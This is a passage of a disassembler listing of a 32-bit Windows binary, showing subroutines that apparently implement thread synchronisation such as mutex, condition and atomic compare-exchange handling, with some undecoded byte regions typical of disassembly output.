db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_430BDA
mov eax, [eax]
push 0FFFFFFFFh
mov ecx, [eax]
push ecx
nop
call near ptr 275086Bh
test eax, eax
jnz short loc_430BDA
retn
; ---------------------------------------------------------------------------
loc_430BDA: ; CODE XREF: sub_430BC0+6j
; sub_430BC0+17j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_430BC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430C00 proc near ; CODE XREF: sub_401BC2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz loc_430D98
mov eax, [esi]
test eax, eax
jz loc_430D98
cmp eax, 0FFFFFFFFh
jnz short loc_430C31
push esi
call sub_401C03
mov ebp, eax
add esp, 4
test ebp, ebp
jz short loc_430C31
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430C31: ; CODE XREF: sub_430C00+1Dj
; sub_430C00+2Cj
mov esi, [esi]
push ebx
push edi
push esi
nop
call near ptr 2740A65h
test eax, eax
jnz short loc_430C62
loc_430C40: ; CODE XREF: sub_430C00+175j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz loc_430D8E
call sub_4012E4
; ---------------------------------------------------------------------------
pop edi
mov [esi+0Ch], eax
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430C62: ; CODE XREF: sub_430C00+3Ej
mov eax, [esi+8]
test eax, eax
jz short loc_430CA6
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FEC2E890h
dd 7E830231h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CA6: ; CODE XREF: sub_430C00+67j
mov eax, [esp+10h+arg_4]
test eax, eax
jnz short loc_430CBA
mov ebp, 16h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CBA: ; CODE XREF: sub_430C00+ACj
lea edi, [esi+10h]
push eax
push edi
call sub_430E10
add esp, 8
sub eax, 0
jz loc_430D7A
dec eax
jz short loc_430D44
dec eax
jz short loc_430CE5
nop
call near ptr 77C1F2BCh
mov ebp, [eax]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CE5: ; CODE XREF: sub_430C00+D4j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
mov ebp, 274Ch
call sub_4010A5
add esp, 4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_430D17
call near ptr 2750B48h
nop
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D17: ; CODE XREF: sub_430C00+101j
nop
call near ptr 2750B48h
test eax, eax
jl short loc_430D36
push edi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430D36
nop
call near ptr 77C1F2BCh
mov ebp, [eax]
loc_430D36: ; CODE XREF: sub_430C00+11Fj
; sub_430C00+12Cj
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D44: ; CODE XREF: sub_430C00+D1j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
call sub_4010A5
mov edi, eax
add esp, 4
cmp edi, 0FFFFFFFFh
jnz short loc_430D6A
push esi
nop
call near ptr 2750B48h
mov ebp, 274Ch
loc_430D6A: ; CODE XREF: sub_430C00+15Cj
push ebx
call near ptr 7C9010EDh
nop
test edi, edi
jnz short loc_430D91
jmp loc_430C40
; ---------------------------------------------------------------------------
loc_430D7A: ; CODE XREF: sub_430C00+CAj
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_430D8E
call sub_4012E4
; ---------------------------------------------------------------------------
loc_430D8E: ; CODE XREF: sub_430C00+4Dj
; sub_430C00+187j
mov [esi+0Ch], eax
loc_430D91: ; CODE XREF: sub_430C00+173j
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D98: ; CODE XREF: sub_430C00+Aj
; sub_430C00+14j
pop esi
mov eax, 16h
pop ebp
retn
sub_430C00 endp
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430E10 proc near ; CODE XREF: sub_430C00+BFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push esi
push edi
mov edi, [esp+14h+arg_0]
test edi, edi
jz loc_430EAE
mov esi, [esp+14h+arg_4]
test esi, esi
jnz short loc_430E42
or eax, 0FFFFFFFFh
loc_430E2C: ; CODE XREF: sub_430E10+7Fj
push eax
mov eax, [edi]
mov ecx, [eax]
push ecx
call near ptr 275086Bh
nop
test eax, eax
jnz short loc_430E9C
pop edi
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430E42: ; CODE XREF: sub_430E10+17j
lea eax, [esp+14h+var_C]
push eax
nop
call near ptr 77C49113h
mov ecx, [esi+4]
mov eax, 431BDE83h
add ecx, 7A120h
add esp, 4
mul ecx
mov eax, [esi]
mov ecx, [esp+14h+var_C]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
mov edx, [esp+14h+var_8]
sub eax, ecx
and edx, 0FFFFh
sub eax, edx
jns short loc_430E2C
pop edi
mov eax, 2
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430E9C: ; CODE XREF: sub_430E10+2Aj
cmp eax, 102h
jnz short loc_430EAE
pop edi
mov eax, 1
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430EAE: ; CODE XREF: sub_430E10+Bj
; sub_430E10+91j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 0Ch
retn
sub_430E10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430F00 proc near ; CODE XREF: sub_4010C3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
jz loc_430FA0
mov esi, [eax]
cmp esi, ebx
jz loc_430FA0
cmp esi, 0FFFFFFFFh
push edi
jz short loc_430F95
mov eax, [esi+0Ch]
mov edi, 1
cmp eax, edi
jz short loc_430F4A
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A50
add esp, 8
test eax, eax
jnz short loc_430F4A
mov ebx, edi
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430F4A: ; CODE XREF: sub_430F00+2Aj
; sub_430F00+40j
cmp [esi+8], edi
jnz short loc_430F58
mov eax, [esi+4]
dec eax
mov [esi+4], eax
jnz short loc_430F9A
loc_430F58: ; CODE XREF: sub_430F00+4Dj
lea edi, [esi+14h]
mov [esi+0Ch], ebx
push edi
nop
call near ptr 7C901005h
push esi
nop
call near ptr 2750B48h
test eax, eax
jl short loc_430F88
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430F88
call near ptr 77C1F2BCh
nop
mov ebx, [eax]
loc_430F88: ; CODE XREF: sub_430F00+6Ej
; sub_430F00+7Ej
push edi
call near ptr 7C9010EDh
nop
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430F95: ; CODE XREF: sub_430F00+1Ej
mov ebx, 16h
loc_430F9A: ; CODE XREF: sub_430F00+56j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430FA0: ; CODE XREF: sub_430F00+Aj
; sub_430F00+14j
pop esi
mov eax, 16h
pop ebx
retn
sub_430F00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430FE0 proc near ; CODE XREF: sub_40177Bj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz short loc_431065
mov eax, [esi]
test eax, eax
jz short loc_431065
cmp eax, 0FFFFFFFFh
jnz short loc_431002
push esi
call sub_401C03
add esp, 4
mov edi, eax
loc_431002: ; CODE XREF: sub_430FE0+15j
mov esi, [esi]
test edi, edi
jnz short loc_431060
push 0FFFFFFFFh
push edi
push esi
call dword_50E3EC ; InterlockedCompareExchange
cmp eax, 0FFFFFFFFh
jnz short loc_431033
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43102B
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43102B: ; CODE XREF: sub_430FE0+44j
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431033: ; CODE XREF: sub_430FE0+35j
cmp dword ptr [esi+8], 1
jnz short loc_43105B
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A50
add esp, 8
test eax, eax
jz short loc_43105B
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_43105B: ; CODE XREF: sub_430FE0+57j
; sub_430FE0+6Dj
mov edi, 10h
loc_431060: ; CODE XREF: sub_430FE0+26j
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431065: ; CODE XREF: sub_430FE0+Aj
; sub_430FE0+10j
pop edi
mov eax, 16h
pop esi
retn
sub_430FE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4310A0: ; CODE XREF: ___:0040192Ej
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_40119A
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4310D0: ; CODE XREF: ___:00401587j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_4018C0
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431100: ; CODE XREF: ___:0040148Dj
mov eax, [esp+4]
test eax, eax
jz short loc_43110C
mov eax, [eax+4]
retn
; ---------------------------------------------------------------------------
loc_43110C: ; CODE XREF: ___:00431106j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431120: ; CODE XREF: ___:00401BFEj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jnz short loc_431132
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_431132: ; CODE XREF: ___:00431128j
mov esi, [eax]
test esi, esi
jnz short loc_431155
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_431155
call sub_401CEE
; ---------------------------------------------------------------------------
dd 0EEB6E856h, 0E890023Eh, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_431155: ; CODE XREF: ___:00431136j
; ___:0043113Dj
mov ecx, [eax+4]
mov eax, 431BDE83h
add ecx, 0F423Fh
imul ecx
sar edx, 12h
mov eax, edx
shr eax, 1Fh
add edx, eax
lea eax, [esi+esi*4]
lea eax, [eax+eax*4]
lea ecx, [eax+eax*4]
lea edi, [edx+ecx*8]
call sub_4012E4
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jnz short loc_43118E
pop edi
mov eax, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_43118E: ; CODE XREF: ___:00431184j
mov eax, [esi+30h]
push edi
test eax, eax
jnz short loc_4311F6
mov edx, [esi+38h]
push edx
call near ptr 275086Bh
nop
test eax, eax
jnz short loc_4311E7
lea edi, [esi+2Ch]
push edi
call sub_402225
mov eax, [esi+0Ch]
add esp, 4
cmp eax, 3
jge short loc_4311D6
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
add esp, 8
loc_4311D6: ; CODE XREF: ___:004311B6j
push edi
call sub_4010C3
add esp, 4
mov eax, 3
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4311E7: ; CODE XREF: ___:004311A2j
cmp eax, 102h
jz short loc_4311FC
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4311F6: ; CODE XREF: ___:00431194j
nop
call near ptr 2820000h
loc_4311FC: ; CODE XREF: ___:004311ECj
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431250: ; CODE XREF: ___:00401014j
push ecx
lea eax, [esp+0]
push eax
call sub_401C26
add esp, 4
test eax, eax
mov eax, 1
jnz short loc_43126B
mov eax, [esp+0]
loc_43126B: ; CODE XREF: ___:00431265j
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431280 proc near ; CODE XREF: sub_401708j
push esi
call sub_401320
push offset aKernel32_dll ; "KERNEL32.DLL"
mov esi, eax
call near ptr 27C07EDh
nop
push offset aInterlockedcom ; "InterlockedCompareExchange"
push eax
mov dword_50E3D0, eax
nop
call near ptr 27D0000h
test eax, eax
mov dword_50E3EC, eax
jnz short loc_4312CD
mov eax, dword_50E3D0
mov dword_50E3EC, offset sub_4012D0
push eax
nop
call near ptr 27306AEh
mov dword_50E3D0, 0
loc_4312CD: ; CODE XREF: sub_431280+2Bj
mov eax, esi
pop esi
retn
sub_431280 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431300 proc near ; CODE XREF: sub_40161Dj
mov eax, dword_50E3D4
test eax, eax
jz short loc_431350
mov eax, dword_50E3D8
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
dd 50E3D80Dh, 4C48300h, 6A118Bh, 69E89052h, 0E8022FF0h
dd 0FFFD02FBh, 50E3D0A1h, 74C08500h, 0E8905007h, 22FF35Eh
; ---------------------------------------------------------------------------
loc_431350: ; CODE XREF: sub_431300+7j
mov eax, 1
retn
sub_431300 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431380 proc near ; CODE XREF: sub_4017B2j
mov eax, 1
retn
sub_431380 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4313A0 proc near ; CODE XREF: sub_4017C1j
mov eax, dword_50E3D4
test eax, eax
jz short loc_4313DB
mov eax, dword_50E3D8
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h
dd 50E3D80Dh, 4C48300h, 6A118Bh, 0EFCAE852h
db 2Fh, 2, 90h
; ---------------------------------------------------------------------------
loc_4313DB: ; CODE XREF: sub_4313A0+7j
mov eax, 1
retn
sub_4313A0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431410: ; CODE XREF: ___:00402239j
push ecx
push esi
push offset dword_50E9A0
xor esi, esi
nop
call near ptr 7C901005h
mov eax, dword_50E3E0
test eax, eax
mov [esp+4], eax
jz short loc_43144E
loc_43142C: ; CODE XREF: ___:0043144Cj
test esi, esi
jnz short loc_43144E
lea eax, [esp+4]
push eax
call sub_401604
mov ecx, [esp+8]
mov esi, eax
add esp, 4
mov eax, [ecx+18h]
test eax, eax
mov [esp+4], eax
jnz short loc_43142C
loc_43144E: ; CODE XREF: ___:0043142Aj
; ___:0043142Ej
push offset dword_50E9A0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0Bh
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431490 proc near ; CODE XREF: sub_4012B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_4314A9
mov eax, [eax]
test eax, eax
jz short loc_4314A9
cmp dword ptr [eax], 0C4C0FFEEh
jnz short loc_4314A9
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4314A9: ; CODE XREF: sub_431490+6j
; sub_431490+Cj ...
mov eax, 1
retn
sub_431490 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4314C0 proc near ; CODE XREF: sub_401320j
mov eax, dword_50E3D4
test eax, eax
jz short loc_4314CF
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4314CF: ; CODE XREF: sub_4314C0+7j
push 0
push offset dword_50E3D8
mov dword_50E3D4, 1
call sub_4015FF
add esp, 8
test eax, eax
jnz short loc_4314FE
push eax
push offset dword_50E3DC
call sub_4015FF
add esp, 8
test eax, eax
jz short loc_431503
loc_4314FE: ; CODE XREF: sub_4314C0+2Aj
call sub_40163B
loc_431503: ; CODE XREF: sub_4314C0+3Cj
push esi
mov esi, dword_50F85C
push offset dword_50E8E0
call esi
push offset dword_50E940
call esi
push offset dword_50E9A0
call esi
push offset dword_50E920
call esi
push offset dword_50E980
call esi
push offset dword_50E960
call esi
mov eax, dword_50E3D4
pop esi
retn
sub_4314C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431560 proc near ; CODE XREF: sub_40163Bj
mov eax, dword_50E3D4
test eax, eax
jz locret_431619
mov eax, dword_50E3D8
test eax, eax
jz short loc_431589
push eax
call sub_401AA0
add esp, 4
mov dword_50E3D8, 0
loc_431589: ; CODE XREF: sub_431560+14j
mov eax, dword_50E3DC
test eax, eax
jz short loc_4315A5
push eax
call sub_401AA0
add esp, 4
mov dword_50E3DC, 0
loc_4315A5: ; CODE XREF: sub_431560+30j
push esi
push offset dword_50E8E0
nop
call near ptr 7C901005h
mov eax, dword_44573C
cmp eax, 1
jz short loc_4315D3
push edi
mov edi, dword_50FAC4
loc_4315C2: ; CODE XREF: sub_431560+70j
mov esi, [eax+8]
push eax
call edi
add esp, 4
cmp esi, 1
mov eax, esi
jnz short loc_4315C2
pop edi
loc_4315D3: ; CODE XREF: sub_431560+59j
push offset dword_50E8E0
nop
call near ptr 7C9010EDh
mov esi, dword_50F858
push offset dword_50E960
call esi
push offset dword_50E980
call esi
push offset dword_50E920
call esi
push offset dword_50E9A0
call esi
push offset dword_50E940
call esi
push offset dword_50E8E0
call esi
mov dword_50E3D4, 0
pop esi
locret_431619: ; CODE XREF: sub_431560+7j
retn
sub_431560 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431650: ; CODE XREF: ___:loc_401B95j
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+8]
push esi
push edi
push eax
mov esi, [eax]
mov ecx, [eax+4]
mov edx, [eax+8]
mov [ebp-4], esi
mov [ebp-0Ch], ecx
mov [ebp-8], edx
nop
call near ptr 77C2C21Bh
mov eax, dword_50E3D8
push esi
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
mov dword ptr [esi+0Ch], 1
add esi, 3Ch
push 0
push esi
call sub_436A5C
; ---------------------------------------------------------------------------
mov edi, [ebp-4]
add esp, 14h
test eax, eax
jnz short loc_4316AC
mov ecx, [ebp-8]
push ecx
call dword ptr [ebp-0Ch]
add esp, 4
mov [edi+14h], eax
mov esi, eax
jmp short loc_4316B8
; ---------------------------------------------------------------------------
loc_4316AC: ; CODE XREF: ___:00431699j
dec eax
jz short loc_4316B5
dec eax
or esi, 0FFFFFFFFh
jmp short loc_4316B8
; ---------------------------------------------------------------------------
loc_4316B5: ; CODE XREF: ___:004316ADj
mov esi, [edi+14h]
loc_4316B8: ; CODE XREF: ___:004316AAj
; ___:004316B3j
cmp dword ptr [edi+20h], 1
jnz short loc_4316D7
call sub_4017C1
push esi
nop
call near ptr 77C3A307h
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4316D7: ; CODE XREF: ___:004316BCj
push edi
call sub_40131B
add esp, 4
push esi
call near ptr 77C3A307h
nop
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431730 proc near ; CODE XREF: sub_4017ADj
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_58 = byte ptr -58h
var_4C = dword ptr -4Ch
var_8 = byte ptr -8
arg_0 = dword ptr 4
sub esp, 84h
push ebx
mov ebx, [esp+88h+arg_0]
test ebx, ebx
push esi
jz short loc_4317AA
lea esi, [ebx+2Ch]
push edi
push esi
call sub_402225
push esi
mov dword ptr [ebx+0Ch], 5
call sub_4010C3
push ebx
call sub_40131B
mov ecx, 21h
mov esi, ebx
lea edi, [esp+9Ch+var_84]
push ebx
rep movsd
call sub_401BBD
mov eax, [esp+0A0h+var_4C]
mov esi, dword_50F8D8
add esp, 10h
test eax, eax
pop edi
jz short loc_431788
push eax
call esi
loc_431788: ; CODE XREF: sub_431730+53j
lea eax, [esp+8Ch+var_58]
push eax
call sub_40222F
mov eax, [esp+90h+var_80]
add esp, 4
test eax, eax
jz short loc_4317AA
test [esp+8Ch+var_8], 1
jnz short loc_4317AA
push eax
call esi
loc_4317AA: ; CODE XREF: sub_431730+11j
; sub_431730+6Bj ...
pop esi
pop ebx
add esp, 84h
retn
sub_431730 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4317F0 proc near ; CODE XREF: sub_401DC5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push 14h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431811
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431811: ; CODE XREF: sub_4317F0+15j
mov edi, [esp+10h+arg_8]
mov ebp, [esp+10h+arg_4]
mov dword ptr [esi], 0FFFFFFFFh
mov [esi+4], ebp
lea ebx, [edi+8]
mov [esi+8], edi
push ebx
call sub_402225
add esp, 4
mov [esp+10h+arg_4], eax
test eax, eax
jz short loc_431852
push esi
call sub_40222F
push esi
nop
call near ptr 77C2C21Bh
mov eax, [esp+18h+arg_4]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431852: ; CODE XREF: sub_4317F0+47j
mov eax, [edi+0Ch]
push ebx
mov [esi+10h], eax
mov [edi+0Ch], esi
call sub_4010C3
add esp, 4
test ebp, ebp
jz short loc_431877
mov ecx, [ebp+80h]
mov [esi+0Ch], ecx
mov [ebp+80h], esi
loc_431877: ; CODE XREF: sub_4317F0+76j
mov edx, [esp+10h+arg_0]
pop edi
xor eax, eax
mov [edx], esi
pop esi
pop ebp
pop ebx
retn
sub_4317F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4318C0 proc near ; CODE XREF: sub_40105Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4318E7
mov eax, [esi+8]
test eax, eax
jnz short loc_4318E7
mov eax, [esi+4]
test eax, eax
jnz short loc_4318E7
push esi
call sub_40222F
push esi
call near ptr 77C2C21Bh
nop
add esp, 8
loc_4318E7: ; CODE XREF: sub_4318C0+7j
; sub_4318C0+Ej ...
pop esi
retn
sub_4318C0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431900 proc near ; CODE XREF: sub_40131Bj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
jz short loc_43196D
mov esi, [ebx+80h]
test esi, esi
jz short loc_43196D
push edi
loc_431915: ; CODE XREF: sub_431900+6Aj
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_431968
mov edi, [esi+8]
test edi, edi
jz short loc_431943
push edi
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_431943
mov edi, [edi+4]
test edi, edi
jz short loc_431943
push eax
loc_43193E: ; CODE XREF: ___:004319B7j
call edi
add esp, 4
loc_431943: ; CODE XREF: sub_431900+27j
; sub_431900+34j ...
mov eax, [esi+0Ch]
mov dword ptr [esi+4], 0
push esi
mov [ebx+80h], eax
call sub_4010C3
push esi
call sub_40105F
mov esi, [ebx+80h]
add esp, 8
loc_431968: ; CODE XREF: sub_431900+20j
test esi, esi
jnz short loc_431915
pop edi
loc_43196D: ; CODE XREF: sub_431900+8j
; sub_431900+12j
pop esi
pop ebx
retn
sub_431900 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431990 proc near ; CODE XREF: sub_401DD4j
mov eax, dword_50E3D8
push ebx
push edi
push eax
call sub_401190
sub_431990 endp
; ---------------------------------------------------------------------------
db 8Bh, 5Ch, 24h
; ---------------------------------------------------------------------------
adc [ebx-47CFB3Ch], al
add cl, [ebx-7CF28B08h]
sti
add [eax+ecx+6Ah], esi
add [eax-7F7B3918h], edx
ja short loc_43193E
push dword ptr [esi+eax-0Ah]
inc edi
jl short near ptr loc_4319C0+1
loc_4319C0: ; CODE XREF: ___:004319BEj
jz short loc_4319E5
push esi
mov eax, ebx
xor esi, esi
dec eax
jz short loc_4319D2
dec eax
jnz short loc_4319D5
or esi, 0FFFFFFFFh
jmp short loc_4319D5
; ---------------------------------------------------------------------------
loc_4319D2: ; CODE XREF: ___:004319C8j
mov esi, [edi+14h]
loc_4319D5: ; CODE XREF: ___:004319CBj
; ___:004319D0j
call sub_4017C1
push esi
nop
call near ptr 77C3A307h
add esp, 4
pop esi
loc_4319E5: ; CODE XREF: ___:loc_4319C0j
push 1
call sub_401B0E
; ---------------------------------------------------------------------------
dd 8304C483h, 57533CC7h, 80537BE8h, 90909077h, 90909090h
dd 8 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431A20 proc near ; CODE XREF: sub_401B0Ej
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_401122
sub_431A20 endp
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_431A3F
loc_431A32: ; CODE XREF: ___:00431A3Dj
push esi
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_431A32
loc_431A3F: ; CODE XREF: ___:00431A30j
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431A60: ; CODE XREF: ___:00401DDEj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431A80 proc near ; CODE XREF: sub_4012D0j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
lock cmpxchg [ecx], edx
mov [ebp+var_4], eax
pop edx
pop ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_431A80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431AC0 proc near ; CODE XREF: sub_401C26j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
lea eax, [esp+8+var_4]
lea ecx, [esp+8+var_8]
push esi
push eax
push ecx
xor esi, esi
nop
call near ptr 2760A5Eh
push eax
nop
call near ptr 2730000h
test eax, eax
jz short loc_431B02
mov edx, [esp+0Ch+var_8]
xor ecx, ecx
mov eax, 1
loc_431AEC: ; CODE XREF: sub_431AC0+33j
test eax, edx
jz short loc_431AF1
inc ecx
loc_431AF1: ; CODE XREF: sub_431AC0+2Ej
shl eax, 1
jnz short loc_431AEC
mov edx, [esp+0Ch+arg_0]
